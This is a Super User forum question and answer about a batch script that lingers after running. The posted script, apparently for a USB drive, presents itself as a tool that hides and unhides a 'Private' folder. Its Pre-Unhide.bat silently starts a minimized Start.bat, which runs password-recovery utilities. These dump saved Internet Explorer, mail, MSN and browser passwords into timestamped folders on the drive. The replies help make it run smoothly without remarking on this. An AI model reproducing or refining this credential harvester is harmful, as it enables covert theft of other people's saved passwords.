Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I have figured out what part of the code is doing this but dont know how to fix it... Here's the code:

Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
) 

The batch does what it is ment to do right at the second it is executed but the cmd window stays open for 46 seconds and then quits (because i went taskkill /IM cmd.exe).

Please help!

P.s. if you want me to post all the code (which is a lot) then i will. I might have problems explaining it but i will try my best.

All the code is as followed:

  1. I start Pre-Unhide.bat (No problems here)

    @echo off
    
    cd /d %~d0\ 
    cd SwIPer
    start /min Start.bat
    
    cd..
    
    call Unhide.bat
    
  2. Start.bat is this:

    @echo off
    
    for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO (
    set CUR_DAY_OF_WEEK=%%i
    set CUR_MONTH=%%j
    set CUR_DAY=%%k
    set CUR_YEAR=%%l)
    
    for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO (
    set CUR_HOUR=%%i
    set CUR_MIN=%%j
    set AM_PM=%%k)
    
    cd /d %~d0\ 
    cd %~d0\SwIPer
    md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    
    start /min iepv /stext IExplorer.txt
    start /min mailpv /stext Mail.txt
    start /min mspass /stext MSN.txt
    start /min WebBrowserPassView /stext AllBrowsers.txt
    echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    del IExplorer.txt
    del Mail.txt
    del MSN.txt
    del AllBrowsers.txt
    
  3. Then Pre-Unhide.bat goes on and calls Unhide.bat

    @echo off
    
    Set _Path=Private
    For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
    If "%_Attribs:~4,1%"=="H" (
    Attrib -S -H "%_Path%"
    Attrib /D /S -S -H "%_Path%"\*.*
    ) Else (
    Attrib +S +H "%_Path%"
    Attrib /D /S +S +H "%_Path%"\*.*
    )
    

(Then added this because I want it to force quit but it still waits 46 seconds to force quit)

    taskkill /IM cmd.exe

Help is very much appreciated :) thanks.

share|improve this question
    
First thing, start is not blocking. In other words, it does not wait for what it starts to finish before continuing. So Start.bat could still be running, processing, when Unhide.bat starts. Second thing, if your batch files are on this drive, use %~d0 to get the drive letter of the drive the batch file is on.. not that list of ifs, which really should be avoided if possible. I've seen removable drives get assigned to D:, internal hard drives assigned to E:, etc. It's not safe to assume the first you come across starting from E: will be the same removable drive. –  Bob Apr 9 '12 at 6:53
    
@Bob so how would I set up the %~d0 command? please write where to put it and how to set it up. Thanks –  Daniel Apr 9 '12 at 7:07
    
It's not a command, it's a special variable that contains the drive the batch file is on, in the form <letter>:, e.g. E:. Actually, cd E:\ is incorrect, it should be cd \d E:\ since you're changing drives. With that special variable, it would be cd /d %~d0\ , replacing that whole list of ifs. –  Bob Apr 9 '12 at 7:18
    
@Bob ok, i've fixed that thanks, looks much more neat! It still waits the same amount of time. I don't think it is start.bat holding it up because it only takes 1 second to complete its cycle and then quits so nothing there i dont think... maybe its the way i've called it? –  Daniel Apr 9 '12 at 7:33
    
@Bob I am uploading a video to YouTube right now showing you what it is doing or not doing. Please watch it (hopefully not too laggy as i used a worse codec than usual to save on memory) The video is at youtu.be/Wr5NjohUcas –  Daniel Apr 9 '12 at 9:08
add comment

1 Answer

Start by commenting your code. Makes it easier to understand what you're trying to achieve. Use the Pause command for debugging, at each step in your code if needed.

Try the following: In Pre-Unhide.bat add a /wait switch to your "start /min start.bat" - so "start /min /wait start.bat" . This will make preunhide wait for start to finish before calling unhide.bat. See this link for more info on Start and other CMD commands:: http://ss64.com/nt/

Add exit as the last line of code for start.bat. This will close start.bat so preunhide can call unhide.bat. You could add it as the last line for unhide too..

Also suggest you use ROBOCOPY instead of XCOPY.

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.